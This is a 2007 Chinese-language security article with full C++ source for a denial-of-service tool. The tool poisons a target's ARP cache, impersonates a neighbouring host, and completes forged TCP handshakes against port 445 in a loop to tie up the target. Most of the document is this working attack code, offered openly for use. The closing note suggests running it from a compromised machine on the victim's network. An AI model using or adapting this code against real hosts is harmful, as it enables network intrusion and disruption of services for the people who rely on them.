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基于ARP欺骗的TCP伪连接D.o.S

作者：lynn 编辑： 安全专题1 2007-06-14 00:00
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从某种意义上说，如果能够制造TCP伪连接，那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S，而今天，我用的也是这个思路。但是，如果直接伪造TCP三次握手而不作其他任何处理，那却是不行的。因为，当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后，由于系统内并没有发起真正的TCP连接，因此系统会发回一个RST包，这个包将使目标主机重置连接。这样，这个伪连接就建立失败了。

要解决这个问题，办法有不少，而我这里要用的方法就是ARP欺骗。首先，我们要对目标主机进行ARP欺骗，让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来，即使目标主机返回一个SYN+ACK包，这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP)，这样，我们的系统也不会向目标主机发送RST包了。

打个比方，假设我们是主机A，现在我想要攻击主机B。首先，我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B)，这样，B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后，我们再以C的IP为源IP构造SYN数据包，向B发起TCP伪连接。当B收到这个SYN包之后，它会构造一个SYN+ACK包发往C。但是，由于此时在B的ARP缓存中记录着：C的IP对应A的MAC地址，因此，这个SYN+ACK包实际上被发送到了A。虽然，这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP，所以A的系统将会丢弃这个包)，但是，我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后，我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样，TCP初始化连接的三次握手都完成了，我们的伪连接也成功建立了！

伪连接建立之后，我们还可以继续向目标主机发送数据，来保证TCP连接的存活。

这里，有几个需要注意的问题：首先，为了保证攻击过程中目标主机的ARP缓存不被更改，我们需要持续不断的对其进行ARP欺骗；第二，为了防止在攻击过程中我们伪装的主机向目标主机发起通信，刷新目标主机的ARP缓存，对我们的攻击造成影响，我们还可以对伪装主机也同时进行ARP欺骗，以增加攻击成功的几率。

好了，说了这么多，下面就给出我实现的源代码，欢迎大虾们多多指教。

// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

#include "winsock2.h"

#include "Packet32.h"

#include "stdio.h"

#pragma comment(lib, "packet")

#pragma comment(lib, "ws2_32")

//下面几个宏是测试用的主机的IP和MAC

#define SIMULATE_MAC "0011111d735a" //伪装主机的MAC地址

#define TARGET_MAC "001111c6f7fe" //目的主机的MAC地址

#define LOCAL_MAC "00e06e41508f" //本机MAC地址

#define TARGET_IP "211.83.97.24" //目的主机的IP

#define SIMULATE_IP "211.83.97.16" //伪装主机的IP

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

struct ET_HEADER //以太网头部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

};

struct ARP_HEADER //ARP头部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

};

struct IP_HEADER //IP头部

{

char m_ver_hlen; //4位版本号,4位ip头部长

char m_tos;

USHORT m_tlen;

USHORT m_ident;

USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量

char m_ttl;

char m_protocol;

USHORT m_cksum;

ULONG m_sIP;

ULONG m_dIP;

};

struct TCP_HEADER //TCP头部

{

USHORT m_sport;

USHORT m_dport;

ULONG m_seq;

ULONG m_ack;

char m_hlen_res4; //4位tcp头部长,6位保留的前4位

char m_res2_flag; //6位保留的后2位,6位标志

USHORT m_win;

USHORT m_cksum;

USHORT m_urp;

};

struct PSD_HEADER //伪头部，计算校验和用

{

ULONG m_saddr; //源地址

ULONG m_daddr; //目的地址

char m_mbz;

char m_ptcl; //协议类型

USHORT m_tcpl; //TCP长度

};

struct TCP_OPTION //TCP选项，发起伪连接时要用来与对方协商

{

USHORT unKnown;

USHORT maxSegSize; //MSS,以太网一般为1460

char no1;

char no2;

USHORT SACK;

};

struct CHEAT_ARP_INFO //ARP欺骗线程的参数

{

char simulateIP[20];

char targetIP[20];

char targetMAC[13];

};

#pragma pack(pop)

USHORT CheckSum(USHORT *buffer, int size); //计算校验和的函数

void StrToMac(char *str,char *mac); //字符串转换为MAC地址

void ListenACK(); //监听函数,监听对方的回包

void AssayAndSendData(LPPACKET lpPacket); //分析数据帧并发送回包

DWORD WINAPI ArpCheat(void *pInfo); //ARP欺骗线程

DWORD WINAPI SendSyn(void *no); //发送SYN包的线程

void Info();

LPADAPTER lpAdapter=NULL; //适配器指针

USHORT ipID=1638; //IP标识

USHORT sourcePort=1056; //起始源端口

USHORT targetPort=445; //目的端口

int main(int argc, char* argv[])

{

Info();

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

{

printf("WSAStartup error!\n");

return -1;

}

//打开适配器：

WCHAR adapter_name[2048]={0};

ULONG adapter_length=1024;

//取得所有适配器的名字.

if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)

{

//adapter_name:一个用于存放适配器的名字的缓冲区

//adapter_length:这个缓冲区的大小

printf("PacketGetAdapterNames error:%d\n",GetLastError());

return -1;

}

WCHAR *name1,*name2;

ULONG i;

static CHAR adapter_list[10][1024];

name1=adapter_name;

name2=adapter_name;

i=0;

//把adapter_name中的适配器名字，分别copy到adapter_list[]中，i从0开始为第一个

while((*name1!=''\0'') || (*(name1-1)!=''\0''))

{

if(*name1==''\0'')

{

memcpy(adapter_list[i],name2,2*(name1-name2));

name2=name1+1;

i++;

}

name1++;

}

//默认打开第一块适配器

lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);

if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))

{

printf("Unable to open the driver, Error Code : %lx\n", GetLastError());

return -1;

}

//创建ARP欺骗线程:

CHEAT_ARP_INFO info1={0},info2={0};

memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));

memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));

memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));

::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);

memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));

memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));

memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));

::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);

Sleep(50);

//发送TCP伪连接的SYN数据帧：

::CreateThread(NULL,0,SendSyn,NULL,0,NULL);

ListenACK(); //循环监听数据包

PacketCloseAdapter(lpAdapter); //关闭适配器

::WSACleanup();

return 0;

}

DWORD WINAPI SendSyn(void *no)

{

Sleep(100);

while(TRUE) //循环发送SYN包发起伪连接

{

char s_mac[6]={0},d_mac[6]={0};

char sendSynBuf[128]={0};

ET_HEADER et_header={0};

IP_HEADER ip_header={0};

TCP_HEADER tcp_header={0};

TCP_OPTION tcp_option={0};

PSD_HEADER psd_header={0};

//填充以太头部：

StrToMac(LOCAL_MAC,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

StrToMac(TARGET_MAC,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包

//填充IP头部：

ip_header.m_ver_hlen=(4<<4|5);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

ip_header.m_ident=htons(ipID++);

ip_header.m_flag_frag=htons(16384); //设置为不分片

ip_header.m_ttl=128;

ip_header.m_protocol=IPPROTO_TCP; //高层协议为TCP

ip_header.m_cksum=0;

ip_header.m_sIP=inet_addr(SIMULATE_IP); //源IP填为伪装主机的IP

ip_header.m_dIP=inet_addr(TARGET_IP); //目的IP

ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

//填充TCP头部以及TCP选项：

tcp_header.m_dport=htons(targetPort);

tcp_header.m_sport=htons(sourcePort++);

tcp_header.m_seq=::GetTickCount(); //初始化序列号

tcp_header.m_ack=0;

tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);

tcp_header.m_res2_flag=2; //标识为SYN包

tcp_header.m_win=htons(16384);

tcp_header.m_cksum=0;

tcp_header.m_urp=0;

tcp_option.unKnown=htons(516);

tcp_option.maxSegSize=htons(1460); //MSS，以太网一般为1460

tcp_option.no1=1;

tcp_option.no2=1;

tcp_option.SACK=htons(1026);

//计算TCP校验和：

psd_header.m_daddr=ip_header.m_dIP;

psd_header.m_saddr=ip_header.m_sIP;

psd_header.m_mbz=0;

psd_header.m_ptcl=IPPROTO_TCP;

psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

char tcpBuf[128]={0};

memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

//构造SYN数据帧：

memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

//发送伪造的SYN包：

LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,sendSynBuf,128); //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数

{

printf("Warning: Unable to send more than one packet in a single write!\n");

continue;

}

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)

{

printf("Error sending the packets!\n");

continue;

}

PacketFreePacket(lpPacket); //释放PACKET结构指针

Sleep(100);

}

return 0;

}

DWORD WINAPI ArpCheat(void *pInfo)

{

CHEAT_ARP_INFO info={0};

memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));

//伪造ARP应答包：

char s_mac[6]={0},d_mac[6]={0};

ET_HEADER et_header={0};

ARP_HEADER arp_header={0};

char buffer[64]={0};

StrToMac(LOCAL_MAC,s_mac); //源MAC地址

memcpy(et_header.eh_src,s_mac,6);

StrToMac(info.targetMAC,d_mac); //目的MAC地址

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包

arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址

arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议

arp_header.arp_hln=6; //硬件地址长度为6

arp_header.arp_pln=4; //协议地址长度为4

arp_header.arp_opt=htons(0x0002); //标识为ARP应答

arp_header.arp_spa=inet_addr(info.simulateIP); //source_ip

memcpy(arp_header.arp_sha,et_header.eh_src,6);

arp_header.arp_tpa=inet_addr(info.targetIP); //target_ip

memcpy(arp_header.arp_tha,et_header.eh_dst,6);

memcpy(buffer,&et_header,sizeof(ET_HEADER));

memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

//发送伪造地ARP应答包：

LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,buffer,64); //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数

printf("warning: Unable to send more than one packet in a single write!\n");

while(TRUE)

{

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的

{

printf("Error sending the packets!\n");

break;

}

Sleep(3000);

}

PacketFreePacket(lpPacket); //释放PACKET结构指针

return 0;

}

void ListenACK()

{

LPPACKET lpPacket;

char recvBuf[512]={0};

PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式

PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小

PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间

while(TRUE)

{

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,recvBuf,512); //初始化PACKET结构指针

if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE) //接收数据帧

AssayAndSendData(lpPacket); //分析数据包并发送ACK包

else

printf("Recv Error!\n");

//每次收包后重置lpPacket：

PacketFreePacket(lpPacket);

memset(recvBuf,0,512);

Sleep(10);

}

PacketFreePacket(lpPacket); //释放lpPacket

return;

}

USHORT CheckSum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size)

cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数

{

char *str1;

int i;

int low,high;

char temp;

for(i=0;i<6;i++)

{

str1=str+1;

switch(*str)

{

case ''a'':high=10;

break;

case ''b'':high=11;

break;

case ''c'':high=12;

break;

case ''d'':high=13;

break;

case ''e'':high=14;

break;

case ''f'':high=15;

break;

default:temp=*str;

high=atoi(&temp);

}

switch(*str1)

{

case ''a'':low=10;

break;

case ''b'':low=11;

break;

case ''c'':low=12;

break;

case ''d'':low=13;

break;

case ''e'':low=14;

break;

case ''f'':low=15;

break;

default:temp=*str1;

low=atoi(&temp);

}

mac[i]=high*16+low;

str+=2;

}

}

void AssayAndSendData(LPPACKET lpPacket)

{

char *buf;

bpf_hdr *lpBpfhdr;

ET_HEADER *lpEthdr;

in_addr addr={0};

buf=(char *)lpPacket->Buffer;

lpBpfhdr=(bpf_hdr *)buf;

lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包

{

IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));

if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) ) //判断所收到的数据包的传输层协议、源及目的IP

{

TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));

if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) ) //判断是否为带ACK标记的包并判断目标主机接收窗口是否已为0

{

char s_mac[6]={0},d_mac[6]={0};

char sendSynBuf[128]={0};

char *data="ffantasyYD";

ET_HEADER et_header={0};

IP_HEADER ip_header={0};

TCP_HEADER tcp_header={0};

PSD_HEADER psd_header={0};

StrToMac(LOCAL_MAC,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

StrToMac(TARGET_MAC,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包

ip_header.m_ver_hlen=(4<<4|5);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));

ip_header.m_ident=htons(ipID++);

ip_header.m_flag_frag=htons(16384); //设置为不分片

ip_header.m_ttl=128;

ip_header.m_protocol=IPPROTO_TCP; //高层协议为TCP

ip_header.m_cksum=0;

ip_header.m_sIP=inet_addr(SIMULATE_IP);

ip_header.m_dIP=inet_addr(TARGET_IP);

ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

tcp_header.m_dport=lpTcphdr->m_sport;

tcp_header.m_sport=lpTcphdr->m_dport;

tcp_header.m_seq=lpTcphdr->m_ack; //序列号为接收到包的ack号

if(lpTcphdr->m_res2_flag==0x12) //若收到的包是SYN+ACK包，则ACK号为接收到包的序列号加1

tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);

else //若收到的包不是SYN+ACK包，则ACK号为接收到包的序列号加上包的数据部分长度

tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);

tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);

tcp_header.m_res2_flag=0x10; //设置为ACK包

tcp_header.m_win=lpTcphdr->m_win;

tcp_header.m_cksum=0;

tcp_header.m_urp=0;

psd_header.m_daddr=ip_header.m_dIP;

psd_header.m_saddr=ip_header.m_sIP;

psd_header.m_mbz=0;

psd_header.m_ptcl=IPPROTO_TCP;

psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));

char tcpBuf[128]={0};

memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));

memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

//发送伪造的ACK包：

LPPACKET lpSendPacket;

lpSendPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpSendPacket,sendSynBuf,128); //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数

{

printf("Warning: Unable to send more than one packet in a single write!\n");

return;

}

if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)

{

printf("Error sending the packets!\n");

return;

}

PacketFreePacket(lpSendPacket); //释放PACKET结构指针

}

}

}

return;

}

void Info()

{

printf("********************************\n");

printf("* Made by ffantasyYD *\n");

printf("* QQ:76889713 *\n");

printf("* Email:ffantasyYD@163.com *\n");

printf("* http://ffantasyyd.126.com *\n");

printf("********************************\n");

}

注：由于以上代码是我测试用的，因此显得不太便于使用，很多信息都是我自己去获取后直接写进程序里的，比如目标主机的MAC地址等，这些都需要测试者自己修改。另外，这种D.o.S存在着一个局限性，那就是目标主机必须跟我们的主机处于同一个二层网络内。但是，我们可以利用一些方法来克服这种局限性，比如，我们可以在目标主机的网络内找一台肉鸡，这样，我们就只需要控制那台肉鸡进行攻击就行了。(e129)

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